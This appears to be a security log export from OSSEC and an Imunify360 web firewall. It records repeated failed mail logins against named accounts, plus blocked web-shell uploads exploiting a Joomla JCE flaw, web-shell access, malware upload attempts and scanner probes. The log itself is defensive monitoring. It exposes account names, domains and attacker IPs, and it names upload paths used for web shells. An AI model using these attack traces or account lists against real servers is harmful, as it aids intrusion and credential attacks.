2026-07-12 04:05:46 dovecot_login authenticator failed for H=([14.29.204.161]) [122.185.101.50]:53880: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.74.212.204
country_id: 1643084
description:
2026-07-12 04:31:58 dovecot_login authenticator failed for H=([36.153.189.66]) [36.74.212.204]:58020: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.74.41
country_id: 1527747
description:
2026-07-12 05:08:15 dovecot_login authenticator failed for H=([220.180.107.193]) [92.62.74.41]:50715: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.241.40.78
country_id: 3996063
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/wp-content/uploads/2018/10/business-gravity-img-11-1170x710-300x182.jpg HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.49.163.100
country_id: 1835841
description:
2026-07-12 04:08:56 dovecot_login authenticator failed for H=([166.169.210.84]) [14.49.163.100]:39090: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-07-12 04:15:31 dovecot_login authenticator failed for H=([183.71.251.66]) [1.250.67.190]:45638: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.182.101.207
country_id: 1835841
description:
2026-07-12 04:06:57 dovecot_login authenticator failed for H=([36.154.134.146]) [121.182.101.207]:44500: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-12 04:31:00 dovecot_login authenticator failed for H=([72.207.113.126]) [219.248.4.146]:48462: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.145.107.251
country_id: 6252001
description:
2026-07-12 03:59:21 dovecot_plain authenticator failed for H=c-73-145-107-251.hsd1.mi.comcast.net (unpacifies) [73.145.107.251]:53200: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.198.246
country_id: 660013
description:
2026-07-12 04:07:14 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc6-246.dhcp.inet.fi ([14.42.47.150]) [80.223.198.246]:53262: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.15.31
country_id: 1269750
description:
2026-07-12 04:15:11 dovecot_login authenticator failed for H=(RZD-gw.transtelecom.net) [122.160.15.31]:50067: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.206.145.105
country_id: 1269750
description:
2026-07-12 05:11:15 dovecot_login authenticator failed for H=([68.71.253.70]) [103.206.145.105]:1713: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-12 02:17:32 dovecot_login authenticator failed for H=([45.178.227.128]) [182.95.61.82]:36796: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.138
country_id: 1269750
description:
2026-07-12 02:45:15 dovecot_login authenticator failed for H=(h-155-4-209-51.A463.priv.bahnhof.se) [182.95.106.138]:50630: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.66.211
country_id: 1512440
description:
2026-07-12 02:45:00 dovecot_login authenticator failed for H=([118.70.146.125]) [213.230.66.211]:60110: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.142.67
country_id: 337996
description:
2026-07-12 05:15:57 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [196.191.142.67]:38814: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.45.84.119
country_id: 2589581
description:
2026-07-12 05:16:12 dovecot_login authenticator failed for H=([182.132.164.178]) [129.45.84.119]:35222: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.132
country_id: 1668284
description:
2026-07-12 05:15:22 dovecot_login authenticator failed for H=110-25-112-132.adsl.fetnet.net (60-249-252-94.hinet-ip.hinet.net) [110.25.112.132]:43147: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-12 05:16:57 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se (ipmapt-72-195-114-188.oc.oc.cox.net) [155.4.31.215]:53800: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.250.160.76
country_id: 1269750
description:
2026-07-12 05:20:11 dovecot_login authenticator failed for H=([60.216.89.122]) [103.250.160.76]:56172: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.179
country_id: 1668284
description:
2026-07-12 05:20:30 dovecot_login authenticator failed for H=111-70-32-179.emome-ip.hinet.net ([27.39.130.144]) [111.70.32.179]:47683: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.78
country_id: 99237
description:
2026-07-12 05:21:39 dovecot_login authenticator failed for H=([49.124.153.12]) [65.20.167.78]:49862: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 178.83.181.181
country_id: 1643084
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce7qvxthch.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-07-12 05:25:04 dovecot_login authenticator failed for H=([157.211.246.182]) [49.206.201.253]:33800: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.146.42
country_id: 1733045
description:
2026-07-12 05:25:16 dovecot_login authenticator failed for H=(wsip-184-178-172-12.rn.hr.cox.net) [49.124.146.42]:55280: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.196.42.114
country_id: 2077456
description:
2026-07-12 05:28:04 dovecot_login authenticator failed for H=([182.132.164.178]) [203.196.42.114]:56241: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 193.148.56.79
country_id: 732800
domain: fefkadirectorsunion.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce_usndcw.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.195
country_id: 1835841
description:
2026-07-12 05:28:33 dovecot_login authenticator failed for H=([111.26.63.84]) [183.104.220.195]:60974: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.241.142.170
country_id: 3865483
description:
2026-07-12 05:34:00 dovecot_login authenticator failed for H=([149.54.51.82]) [191.241.142.170]:57950: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-12 05:38:56 dovecot_login authenticator failed for H=([210.112.227.218]) [182.95.101.182]:51212: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-12 05:39:16 dovecot_login authenticator failed for H=([192.252.211.196]) [182.95.228.194]:58810: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.116.75.51
country_id: 6252001
description:
2026-07-12 05:42:56 dovecot_login authenticator failed for H=([49.124.151.82]) [103.116.75.51]:52357: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-12 05:43:59 dovecot_login authenticator failed for H=([111.26.62.38]) [196.188.93.169]:3329: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.63
country_id: 1668284
description:
2026-07-12 05:44:12 dovecot_login authenticator failed for H=(31-154-126-88.orange.net.il) [101.13.5.63]:60924: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.36.7.196
country_id: 719819
description:
2026-07-12 05:46:52 dovecot_login authenticator failed for H=bc2407c4.catv.pool.telekom.hu (ipmapt-72-195-114-171.oc.oc.cox.net) [188.36.7.196]:56070: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-12 05:49:55 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi ([167.250.118.12]) [80.223.190.179]:43768: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.155.228.189
country_id: 2661886
description:
2026-07-12 05:50:05 dovecot_login authenticator failed for H=h95-155-228-189.cust.bredband2.com ([79.121.102.227]) [95.155.228.189]:33565: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77469916
abuser: 165.245.178.210
country_id: 1880251
domain: www.ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:shxt_1783815732_owypv.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 165.245.178.210
country_id: 1880251
domain: www.ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:shxt_1783815734_dxvrk.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 165.245.178.210
country_id: 1880251
domain: www.ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/shxt_1783815734_dxvrk.php||SC:/home/ogocindia/public_html/images/shxt_1783815734_dxvrk.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-12 05:55:14 dovecot_login authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net ([211.193.245.27]) [73.203.17.220]:59574: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.112.148.66
country_id: 130758
description:
2026-07-12 05:55:33 dovecot_login authenticator failed for H=([35.130.111.98]) [185.112.148.66]:49312: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-12 05:56:12 dovecot_login authenticator failed for H=([46.163.189.191]) [182.95.217.202]:60406: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.143.224.252
country_id: 1835841
description:
2026-07-12 05:56:56 dovecot_login authenticator failed for H=([101.13.5.26]) [125.143.224.252]:40996: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77469916
abuser: 165.245.178.210
country_id: 1880251
domain: www.ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:shxt_1783816064_ugkhx.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-07-12 05:57:49 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net ([70.166.167.47]) [76.132.238.43]:43638: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.49.157.155
country_id: 1835841
description:
2026-07-12 06:01:06 dovecot_login authenticator failed for H=([49.124.159.186]) [14.49.157.155]:54366: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-12 06:01:24 dovecot_login authenticator failed for H=(2-74-192-203.kcell.kz) [182.95.61.82]:41372: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.182.138
country_id: 1269750
description:
2026-07-12 06:07:54 dovecot_login authenticator failed for H=([192.111.135.19]) [182.95.182.138]:52814: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-12 06:08:19 dovecot_login authenticator failed for H=([61.84.228.191]) [182.78.86.62]:55978: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.144.79.102
country_id: 1269750
description:
2026-07-12 06:09:00 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [59.144.79.102]:58168: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.186
country_id: 1733045
description:
2026-07-12 06:09:33 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [49.124.148.186]:59582: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-12 06:10:12 dovecot_login authenticator failed for H=([103.187.78.189]) [188.122.37.97]:33764: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.51.12.142
country_id: 1835841
description:
2026-07-12 06:11:02 dovecot_login authenticator failed for H=([49.124.148.19]) [14.51.12.142]:36120: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.142.67
country_id: 337996
description:
2026-07-12 06:13:12 dovecot_login authenticator failed for H=([24.45.137.84]) [196.191.142.67]:33430: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-12 06:12:45 dovecot_login authenticator failed for H=([220.163.252.244]) [205.250.25.62]:42952: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.226.138
country_id: 1269750
description:
2026-07-12 06:12:48 dovecot_login authenticator failed for H=([211.217.26.2]) [182.95.226.138]:54994: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.171.95.112
country_id: 1835841
description:
2026-07-12 06:20:59 dovecot_login authenticator failed for H=([65.20.217.64]) [121.171.95.112]:34290: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.39.147
country_id: 1269750
description:
2026-07-12 06:21:08 dovecot_login authenticator failed for H=([49.124.147.101]) [103.171.39.147]:36256: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.200.184
country_id: 660013
description:
2026-07-12 06:21:17 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc8-184.dhcp.inet.fi ([103.168.241.32]) [80.223.200.184]:36622: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.31.200.85
country_id: 1522867
description:
2026-07-12 06:20:42 dovecot_login authenticator failed for H=(vm-creative-db01.madavor.cl.zerolag.com) [193.31.200.85]:36232: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.202
country_id: 1835841
description:
2026-07-12 06:23:12 dovecot_login authenticator failed for H=([65.20.131.63]) [218.156.93.202]:53115: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 109.172.9.42
country_id: 3077311
domain: elegantautomotives.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:75180.elegantautomotives.com||ServerName:elegantautomotives.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fa5f6c7e32469977541932ac01687ff84393e5ab||Title:0x71e66d4d||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.78.177
country_id: 1668284
description:
2026-07-12 06:26:22 dovecot_login authenticator failed for H=221-120-78-177.emome-ip.hinet.net ([182.79.95.152]) [221.120.78.177]:44186: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.156
country_id: 1835841
description:
2026-07-12 06:26:38 dovecot_login authenticator failed for H=([180.94.74.94]) [121.131.220.156]:33151: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.116.75.51
country_id: 6252001
description:
2026-07-12 06:27:55 dovecot_login authenticator failed for H=(92-62-74-41.saimanet.kg) [103.116.75.51]:34505: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.45.144.201
country_id: 6252001
description:
2026-07-12 06:28:12 dovecot_login authenticator failed for H=66-45-144-201-dynamic.midco.net ([116.113.241.82]) [66.45.144.201]:53892: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-12 06:29:34 dovecot_login authenticator failed for H=([72.207.113.126]) [76.49.199.97]:38580: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.118.24.100
country_id: 1835841
description:
2026-07-12 06:29:18 dovecot_login authenticator failed for H=([70.166.167.59]) [39.118.24.100]:35346: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.247.245.61
country_id: 1835841
description:
2026-07-12 06:34:03 dovecot_login authenticator failed for H=(42-200-73-3.static.imsbiz.com) [1.247.245.61]:41448: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.40.122.250
country_id: 2629691
description:
2026-07-12 06:33:42 dovecot_login authenticator failed for H=nova-185-040-122-250.cpe.novanet.is ([106.245.246.26]) [185.40.122.250]:34548: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.147.202.44
country_id: 1210997
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/2019/01/20/ HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210801
name: IM360 WAF: Request Indicates a Security Scanner Scanned the Site
abuser: 103.75.11.110
country_id: 2186224
domain: 103.185.74.189
description:
IM360 WAF: Request Indicates a Security Scanner Scanned the Site||MV:WhatWeb/0.6.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.157.91.62
country_id: 453733
description:
2026-07-12 06:36:40 dovecot_login authenticator failed for H=62-91-157-37.dyn.estpak.ee (18.91.212.222.broad.cd.sc.dynamic.163data.com.cn) [37.157.91.62]:41288: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.101.138.172
country_id: 597427
description:
2026-07-12 06:38:16 dovecot_login authenticator failed for H=static-213-101-138-172.cust.tele2.lt ([49.124.152.177]) [213.101.138.172]:45370: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.96.106.175
country_id: 1269750
description:
2026-07-12 06:37:22 dovecot_login authenticator failed for H=(ip-199-102-107-147.hosts.zerolag.com) [14.96.106.175]:47704: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-12 06:37:41 dovecot_login authenticator failed for H=([49.124.152.226]) [203.252.10.3]:30395: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.138.181
country_id: 1819730
description:
2026-07-12 06:38:57 dovecot_login authenticator failed for H=([85.159.165.216]) [121.202.138.181]:50146: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.145.120
country_id: 1835841
description:
2026-07-12 06:42:23 dovecot_login authenticator failed for H=(177-72-87-7.static.as262543.net.br) [61.72.145.120]:37330: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.224.62.206
country_id: 2464461
description:
2026-07-12 06:43:11 dovecot_login authenticator failed for H=([194.31.8.12]) [41.224.62.206]:37218: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 156.230.182.136
country_id: 1643084
domain: elegantautomotives.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:203932||Sizes:97||Combined size:97||User:elegantautomotiv||WPU:||Filename:majestic_JLjOABPBTW.php||Scanned:/tmp//20260712-064328-alLqOLxATqF2VqsstqAl6wAAAMo-file-Y6rRvZ||SC:/home/elegantautomotiv/public_html/index.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 156.230.182.136
country_id: 1643084
domain: elegantautomotives.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.28||T:APACHE||SC:/home/elegantautomotiv/public_html/index.php||User:elegantautomotiv||WPU:||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.47.134.108
country_id: 1643084
domain: elegantautomotives.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:132972||Sizes:97||Combined size:97||User:elegantautomotiv||WPU:||Filename:majestic_JLjOABPBTW.php||Scanned:/tmp//20260712-064330-alLqOhlCpB-vpVSHpOg4kQAAAIU-file-J8PnIE||SC:/home/elegantautomotiv/public_html/index.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-12 06:50:41 dovecot_login authenticator failed for H=(193.210.177.45.fronteirainternet.com.br) [210.5.117.238]:54083: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.160.209.29
country_id: 1562822
description:
2026-07-12 06:51:01 dovecot_login authenticator failed for H=(ip-45-155-146-33.ip.asarta.ru) [113.160.209.29]:35452: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.246
country_id: 1036973
description:
2026-07-12 06:50:42 dovecot_login authenticator failed for H=([74.119.147.213]) [197.219.228.246]:36220: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.65.30
country_id: 1835841
description:
2026-07-12 06:51:18 dovecot_login authenticator failed for H=([183.171.154.64]) [219.248.65.30]:55848: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.138.90.195
country_id: 2661886
description:
2026-07-12 06:52:57 dovecot_login authenticator failed for H=h79-138-90-195.cust.bredband2.com ([49.124.152.213]) [79.138.90.195]:43526: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.163.253
country_id: 660013
description:
2026-07-12 06:53:12 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa3-253.dhcp.inet.fi ([36.151.68.6]) [80.223.163.253]:34662: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-12 06:52:50 dovecot_login authenticator failed for H=(90-228-229-182-no600.tbcn.telia.com) [210.206.24.237]:56714: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.252.96.146
country_id: 1835841
description:
2026-07-12 06:52:30 dovecot_login authenticator failed for H=([206.84.230.48]) [211.252.96.146]:34623: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-12 06:53:47 dovecot_login authenticator failed for H=([192.111.139.161]) [182.95.176.122]:34512: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.22.153
country_id: 1668284
description:
2026-07-12 06:53:30 dovecot_login authenticator failed for H=111-70-22-153.emome-ip.hinet.net ([112.48.16.186]) [111.70.22.153]:48119: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-12 06:54:33 dovecot_login authenticator failed for H=([174.75.211.211]) [119.92.76.210]:33794: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-12 06:54:45 dovecot_login authenticator failed for H=([208.69.161.214]) [171.244.60.35]:18137: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77469916
abuser: 193.148.56.79
country_id: 732800
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce_bdwmdv.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.212.67.79
country_id: 6252001
description:
2026-07-12 07:00:24 dovecot_login authenticator failed for H=([117.205.2.250]) [38.212.67.79]:39116: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.53.7.231
country_id: 6252001
description:
2026-07-12 07:00:49 dovecot_login authenticator failed for H=([46.44.32.144]) [64.53.7.231]:49302: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.142.184.55
country_id: 1210997
description:
2026-07-12 07:00:55 dovecot_login authenticator failed for H=([61.72.146.78]) [103.142.184.55]:37333: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-12 07:03:29 dovecot_login authenticator failed for H=([59.28.170.183]) [41.219.149.74]:25305: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 193.148.56.79
country_id: 732800
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icopbujxk/fonts/fkjmije.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 154.19.37.43
country_id: 6252001
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcegwjmid06.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
